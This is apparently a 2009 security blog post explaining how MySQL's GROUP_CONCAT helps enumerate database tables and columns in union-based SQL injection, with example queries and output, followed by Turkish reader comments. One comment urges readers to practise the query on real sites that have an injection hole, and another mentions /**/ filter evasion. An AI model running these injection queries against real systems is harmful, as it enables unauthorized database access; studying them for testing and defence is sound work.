GROUP_CONCAT MySQL SQL Injection

Apparently GROUP_CONCAT() is already known by many people, except me! I've just found it. It allows to get multiple rows as a string. This makes it a perfect candidate for one-row union SQL Injections. There is one catch though, by default it returns only 1024 characters (global option, can't be set via an SQL Injection) which is not enough for one query sql-dump sorts of tricks.

However this simple query can be useful for enumerating tables and columns together in fewer requests:

  • SELECT CONCAT(table_name,'>',GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 1,1
  • SELECT CONCAT(table_name,'>',GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 2,1
  • SELECT CONCAT(table_name,'>',GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 3,1
  • SELECT CONCAT(table_name,'>',GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT n,1

 

Output will be look like:

  • 'db>Host,Db,User,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Grant_priv'
  • 'help_category>help_category_id,name,parent_category_id,url'
  • 'help_keyword>help_keyword_id,name'

Damn! I should update SQL Injection Cheat Sheet and SQL Injection Wiki , lots to catch up...

Mehmet - 05.07.2009

ÜStadim aklima takilan bisey var... Bu sql inj. kullanilan bazi ( ,'>', ) yada (/**) seklindeki bloglar neden ekleniyor ve neye göre ekleniyor. bazen

söyle bir adresten.
php?id=20/**/select/**/from... vs.. giderken bazen normal sql deyimleri kulaniyor.
select from null vs...

LUPUS - 11.03.2009

Yeni Mysql Injection teknigi . Pratik için deneme yapabilirsiniz arkadaslar mesela Sql açigi olan bir siteye bu kodu uygulayarak baslayabilirsiniz ;

SELECT CONCAT(TABLO_ADI,'>',GROUP_CONCAT(KOLON_ADI)) FROM information_schema.columns WHERE table_schema=database() GROUP BY TABLO_ADI LIMIT 1,1

TABLO_ADI = sitenin tablo adini yazacaksiniz.
column_name = sitenin kolon adini yazacaksiniz..

Bu Arada Tesekkürler Ferruh ..

Engin YILDIRIM - 08.03.2009

haklisin ingilizce bilmeden olmaz bu isler ama yavas yavas:) turkcede yayinlarsan sevinirim

DraKuLa - 06.03.2009

Ferruh abi ing cok iyi olmayanlar için saten 1 paragraf türkce de yayinlarsan cok seviniriz simdiden cok tesekkürler !

sid - 05.03.2009

Nice one ferruh

TEAkolik - 05.03.2009

Upsss MySQL'in de suyunu çikartacaklar:p

Yorum Yazın


Tüm yorumlar onaydan geçmektedir, bu işlem en uzun 30 dk. sürecektir. E-mail adresleri yeni yorumları bildirme harici hiç bir başka amaçla kullanılmamaktadır ve sitede gözükmemektedir.



Captcha Kodu